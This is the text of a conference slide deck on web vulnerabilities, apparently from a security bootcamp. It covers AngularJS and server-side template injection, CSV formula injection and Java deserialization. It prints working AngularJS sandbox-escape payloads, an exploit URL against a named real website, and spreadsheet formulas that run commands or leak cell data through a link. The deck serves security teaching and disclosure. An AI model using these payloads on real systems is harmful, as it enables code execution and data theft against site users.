SlideShare a Scribd company logo
Some new vulnerabilities in
modern web application (Part 1)
hkln1 (@anh_npt)
Xin cảm ơn các nhà tài trợ
AngularJS Template Injection (Client-site
template injection)
What is AngularJS ?
• Popular MVC JavaScript Framework
• Maintained and recommended by Google
• Read more:
• https://docs.angularjs.org/tutorial
What’s risk ? (1)
Not vulnerable
What’s risk ? (2)
???
Four general attack vectors
1. Attacking the Sandbox
2. Attacking the Sanitizer
3. Attacking the CSP Mode
4. Attacking the Codebase
The payloads…
• 1.0.1 - 1.1.5
• {{constructor.constructor('alert(1)')()}}
• 1.2.0 - 1.2.1
• {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getP
rototypeOf(a.sub),a).value,0,'alert(1)')()}}
• ….
• 1.4.0 - 1.4.9
• {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
• 1.5.0-rc2  Fixed
AngularJS injection in the wild (1)
• https://hackerone.com/reports/125027
AngularJS injection in the wild (2)
• Check: https://developer.uber.com/docs/deeplinking?q=wrtz{{7*7}}
• Response: wrtz49  Vulnerable
• Exploit: https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnProper
tyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
Demo
• Piwik
Reference
• http://blog.portswigger.net/2016/01/xss-without-html-client-side-
template.html
• http://www.slideshare.net/x00mario/an-abusive-relationship-with-
angularjs
Server-site template injection
What is template engine? (1)
• Present dynamic data via web pages and emails.
• Separation of presentation (HTML/CSS) from application logic.
• Used in wikis, blogs, marketing applications and CMS.
• Some template engines:
• FreeMarker
• Velocity
• Smarty
• Twig
• Jade
What is template engine? (2)
<?php echo $param ?>
<?php echo htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’) ?>
{{ param }}
{{ param | escape}} / {{ param | e}}
What’s risk ?
• Not only XSS  Remote Code Execution (RCE)
• Arbitrary object creation
• Arbitrary file read/write
• Remote file include
• Information disclosure and privilege escalation
Introduction (1)
• $output = $twig->render("Dear {first_name},", array("first_name" =>
$user.first_name) );  Not vulnerable
• $output = $twig->render($_GET['custom_email'], array("first_name"
=> $user.first_name) );  ???
Introduction (2)
• custom_email={{7*7}}  49
• custom_email={{self}}  Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78d
b3538221c1145580ca4a5 could not be converted to string
Template injection methodology
Detect (1)
• Plaintext context
smarty= Hello {user.name}
Hello user1
freemarker= Hello ${username}
Hello user1
any= <b> Hello </b>
<b> Hello </b>
smarty= Hello ${7*7}
Hello 49
freemarker= Hello ${7*7}
Hello 49
Detect (2)
• Code context
Personal_greeting = username
Hello user1
Personal_greeting = username<tag>
Hello
Personal_greeting = username }} <tag>
Hello user01 <tag>
Identify
Exploit
• ‘For Template Authors’ - sections covering basic syntax.
• ‘Security Considerations’ - chances are whoever developed the app
you're testing didn't read this, and it may contain some useful hints.
• Lists of builtin methods, functions, filters, and variables.
• Lists of extensions/plugins - some may be enabled by default.
Payloads: Smarty (1)
Payloads: Smarty (2)
Payloads: Smarty (3)
Payloads: Smarty (4)
Payloads: Twig
Payloads: Twig (Sandboxed)
Payloads: Jade
Payloads: FreeMarker
Server-side template injection in the wild
• https://hackerone.com/reports/125980
Demo
• Flask/Jinja2
• Alfresco
Reference
• http://blog.portswigger.net/2015/08/server-side-template-
injection.html
• https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
• https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-
part-ii
•
Fomular Injection (CSV Injection)
What is CSV Injection ?
• Exploit via the export functionality that allow user to download CSV
(Excel) file.
• Often contain input from untrusted sources such as survey responses,
transaction details, and user-supplied addresses, …
• The attacker can execute any commands on user machine if web
application does not properly validate the contents of the CSV file.
How to test?
• =1 + 1  2
• -2 + 3  1
• +3 + 5  8
The payloads…
• =HYPERLINK(https://example.com?test=&A1&A2,”Error: please click
for further information”)
• =DDE(“cmd”;”/C calc”; “DdeLink_60_870516294”)
• =cmd | ‘ /C calc ‘ !A0
CSV Injection in the wild
Demo
• Mangento Community
Reference
• https://www.owasp.org/index.php/CSV_Excel_Macro_Injection
• https://hackerone.com/reports/72785
• http://www.contextis.com/resources/blog/comma-separated-
vulnerabilities/
Java deserialization vulnerability
What is serialization ?
What is serialization ? (2)
More complex serialization… (1)
More complex serialization… (2)
Serialization in the context of Java web
applications and application servers
• In HTTP requests – Parameters, ViewState, Cookies
• RMI – The extensively used Java RMI protocol
• RMI over HTTP – Many Java thick client web apps use this
• JMX
• Custom Protocols
What’s problems ?
• What if we knew of an object that implemented a “readObject”
method that did something dangerous ?
• What if instead of appending an exclamation point to a user defined
string ?
How to identify wherever an application
might be vulnerable ?
Java deserialization vulnerability in the wild
• http://artsploit.blogspot.com/2016/01/paypal-rce.html
Analysis of exploiting the real cases – Jboss
application (1)
1. Identify
Analysis of exploiting the real cases – Jboss
application (2)
1. Exploit
Demo
Analysis of exploiting the real cases – Jenkins
application (1)
1. Vulnerability Detection
Analysis of exploiting the real cases – Jenkins
application (2)
1. Vulnerability Detection
Analysis of exploiting the real cases – Jenkins
application (3)
1. Vulnerability Detection
Analysis of exploiting the real cases – Jenkins
application (3)
2. Exploit Development
Analysis of exploiting the real cases – Jenkins
application (3)
2. Exploit Development
Analysis of exploiting the real cases – Jenkins
application (3)
2. Exploit Development
Analysis of exploiting the real cases – Jenkins
application (4)
2. Exploit Development
Analysis of exploiting the real cases – Jenkins
application (5)
2. Exploit Development
Demo
Reference
• https://foxglovesecurity.com/2015/11/06/what-do-weblogic-
websphere-jboss-jenkins-opennms-and-your-application-have-in-
common-this-vulnerability/
• http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-
pickles
• https://www.youtube.com/watch?v=VviY3O-euVQ

More Related Content

PPTX
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
PDF
Neoito — Secure coding practices
PPTX
[OWASP Poland Day] Application security - daily questions & answers
ODP
Introduction to OWASP & Web Application Security
PDF
The Log4Shell Vulnerability – explained: how to stay secure
PPTX
[OWASP Poland Day] Saving private token
PPTX
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Neoito — Secure coding practices
[OWASP Poland Day] Application security - daily questions & answers
Introduction to OWASP & Web Application Security
The Log4Shell Vulnerability – explained: how to stay secure
[OWASP Poland Day] Saving private token
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...

What's hot (20)

PDF
Secure coding presentation Oct 3 2020
PDF
Waf.js: How to Protect Web Applications using JavaScript
PPTX
Secure programming with php
PDF
Secure coding guidelines
PDF
Antivirus is hopeless
PPTX
Detection Rules Coverage
PDF
Web security for developers
PPTX
Security testing operation vijay
PDF
Applications secure by default
PDF
BlueHat v18 || Malicious user profiling using a deep neural net
PDF
Endpoint is not enough
PPTX
DevSecCon Talk: An experiment in agile Threat Modelling
PPT
Web Apps Security
PDF
Secure code
PDF
Secure PHP Coding
PDF
Secure Coding in C/C++
PDF
Wtf is happening_inside_my_android_phone_public
PDF
CSW2017 chuanda ding_state of windows application security
PPT
Setup Your Personal Malware Lab
PPTX
BlueHat v17 || Wannacrypt + Smbv1.0 Vulnerability = One of the Most Damaging ...
Secure coding presentation Oct 3 2020
Waf.js: How to Protect Web Applications using JavaScript
Secure programming with php
Secure coding guidelines
Antivirus is hopeless
Detection Rules Coverage
Web security for developers
Security testing operation vijay
Applications secure by default
BlueHat v18 || Malicious user profiling using a deep neural net
Endpoint is not enough
DevSecCon Talk: An experiment in agile Threat Modelling
Web Apps Security
Secure code
Secure PHP Coding
Secure Coding in C/C++
Wtf is happening_inside_my_android_phone_public
CSW2017 chuanda ding_state of windows application security
Setup Your Personal Malware Lab
BlueHat v17 || Wannacrypt + Smbv1.0 Vulnerability = One of the Most Damaging ...
Ad

Viewers also liked (20)

PPT
Nguyễn Tấn Vi - office of the CISO
PDF
Lê Trung Nghĩa - Suggestions after VNA attack with template
PPTX
Pham Ngọc Bắc - An toàn thông tin dưới góc nhìn Quản lý theo tiêu chuẩn Quốc...
PPTX
Lương Trung Thành - Cloud Control Matrix
PPTX
Trần Anh Khoa - Kautilya và Powershell trong kỹ thuật tấn công tiếp cận
PDF
Philip Hung Cao - Cloud security, the journey has begun
PPTX
Vi Minh Toại - Security Risk Management, tough path to success
PDF
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
PPT
Đặng Hải Sơn - Báo cáo tình hình An toàn thông tin trong các cơ quan nhà nước
PPTX
Tình hình ANTT ở Việt Nam - Lê Công Phú - CMC Infosec
PDF
Security Bootcamp 2013 penetration testing (basic)
PDF
Security Bootcamp 2013 - Định hướng công việc ngành ATTT - Nguyễn Hải Long
PPTX
Chu nhat 02 luu thanh tra e-prior e-trust
PDF
Xây dựng cộng đồng - Lê Trung Nghĩa - Bộ KHCN
PPT
Thu 6 03 bootcamp 2014 - xxe injection - nguyen tang hung
PPTX
Top 10 mobile security risks - Khổng Văn Cường
PDF
Finfisher- Nguyễn Chấn Việt
PDF
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
PDF
Khai thác lỗi phần mềm thi chứng chỉ của Microsoft - Phạm Đình Thắng
Nguyễn Tấn Vi - office of the CISO
Lê Trung Nghĩa - Suggestions after VNA attack with template
Pham Ngọc Bắc - An toàn thông tin dưới góc nhìn Quản lý theo tiêu chuẩn Quốc...
Lương Trung Thành - Cloud Control Matrix
Trần Anh Khoa - Kautilya và Powershell trong kỹ thuật tấn công tiếp cận
Philip Hung Cao - Cloud security, the journey has begun
Vi Minh Toại - Security Risk Management, tough path to success
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
Đặng Hải Sơn - Báo cáo tình hình An toàn thông tin trong các cơ quan nhà nước
Tình hình ANTT ở Việt Nam - Lê Công Phú - CMC Infosec
Security Bootcamp 2013 penetration testing (basic)
Security Bootcamp 2013 - Định hướng công việc ngành ATTT - Nguyễn Hải Long
Chu nhat 02 luu thanh tra e-prior e-trust
Xây dựng cộng đồng - Lê Trung Nghĩa - Bộ KHCN
Thu 6 03 bootcamp 2014 - xxe injection - nguyen tang hung
Top 10 mobile security risks - Khổng Văn Cường
Finfisher- Nguyễn Chấn Việt
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
Khai thác lỗi phần mềm thi chứng chỉ của Microsoft - Phạm Đình Thắng
Ad

Similar to Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application (20)

PDF
Deserialization with the JavaScript for the lulz
PDF
Are you botching the security of your AngularJS applications? (DevFest 2016)
PDF
Ch 10: Attacking Back-End Components
PDF
Ch 13: Attacking Other Users: Other Techniques (Part 1)
PDF
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
PDF
CNIT 129S: 10: Attacking Back-End Components
ODP
Are you using an opensource library? There's a good chance you are vulnerable...
PPTX
Web Application Security in front end
PDF
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
PPTX
Server Side Template Injection by Mandeep Jadon
PDF
Making Web Development "Secure By Default"
PDF
Protecting Your APIs Against Attack & Hijack
PDF
OWASP London - So you thought you were safe using AngularJS.. Think again!
PDF
Node Security: The Good, Bad & Ugly
PPTX
Developer-focused Software Security
DOCX
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
PPTX
Javascript Security
ODP
Hunting Security Bugs in Modern Web Applications
PDF
Securing your AngularJS Application
PPTX
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
Deserialization with the JavaScript for the lulz
Are you botching the security of your AngularJS applications? (DevFest 2016)
Ch 10: Attacking Back-End Components
Ch 13: Attacking Other Users: Other Techniques (Part 1)
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
CNIT 129S: 10: Attacking Back-End Components
Are you using an opensource library? There's a good chance you are vulnerable...
Web Application Security in front end
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
Server Side Template Injection by Mandeep Jadon
Making Web Development "Secure By Default"
Protecting Your APIs Against Attack & Hijack
OWASP London - So you thought you were safe using AngularJS.. Think again!
Node Security: The Good, Bad & Ugly
Developer-focused Software Security
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Javascript Security
Hunting Security Bugs in Modern Web Applications
Securing your AngularJS Application
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos

More from Security Bootcamp (20)

PDF
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
PPTX
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
PPTX
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
PPTX
Robustness of Deep learning mode ls.pptx
PPTX
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
PDF
Let the Hunt Begin - Security Bootcamp 2024
PDF
Detection as Code - Effective Approach to manage & optimize SOC Development
PDF
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
PDF
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
PDF
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
PPTX
Security in the AI and Web3 era - Veramine
PDF
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
PDF
Modern Security Operations - Building and leading modern SOC
PDF
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
PPTX
SBC2024_AI TRONG CYBER SECURITY_final.pptx
PPTX
Cyber GenAI – Another Chatbot? - Trellix
PDF
Akamai_ API Security Best Practices - Real-world attacks and breaches
PPTX
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
PDF
Empowering Malware Analysis with IDA AppCall
PDF
Detection of Spreading Process on many assets over the network
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
Robustness of Deep learning mode ls.pptx
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
Let the Hunt Begin - Security Bootcamp 2024
Detection as Code - Effective Approach to manage & optimize SOC Development
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
Security in the AI and Web3 era - Veramine
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
Modern Security Operations - Building and leading modern SOC
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
SBC2024_AI TRONG CYBER SECURITY_final.pptx
Cyber GenAI – Another Chatbot? - Trellix
Akamai_ API Security Best Practices - Real-world attacks and breaches
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
Empowering Malware Analysis with IDA AppCall
Detection of Spreading Process on many assets over the network

Recently uploaded (20)

PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
MYSQL Presentation for SQL database connectivity
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPTX
A Presentation on Artificial Intelligence
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
KodekX | Application Modernization Development
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
DOCX
The AUB Centre for AI in Media Proposal.docx
PPTX
Cloud computing and distributed systems.
PPT
Teaching material agriculture food technology
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Encapsulation_ Review paper, used for researhc scholars
Understanding_Digital_Forensics_Presentation.pptx
Review of recent advances in non-invasive hemoglobin estimation
Unlocking AI with Model Context Protocol (MCP)
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Reach Out and Touch Someone: Haptics and Empathic Computing
MYSQL Presentation for SQL database connectivity
NewMind AI Weekly Chronicles - August'25 Week I
Per capita expenditure prediction using model stacking based on satellite ima...
A Presentation on Artificial Intelligence
Digital-Transformation-Roadmap-for-Companies.pptx
KodekX | Application Modernization Development
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Building Integrated photovoltaic BIPV_UPV.pdf
The AUB Centre for AI in Media Proposal.docx
Cloud computing and distributed systems.
Teaching material agriculture food technology
“AI and Expert System Decision Support & Business Intelligence Systems”
Encapsulation_ Review paper, used for researhc scholars

Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application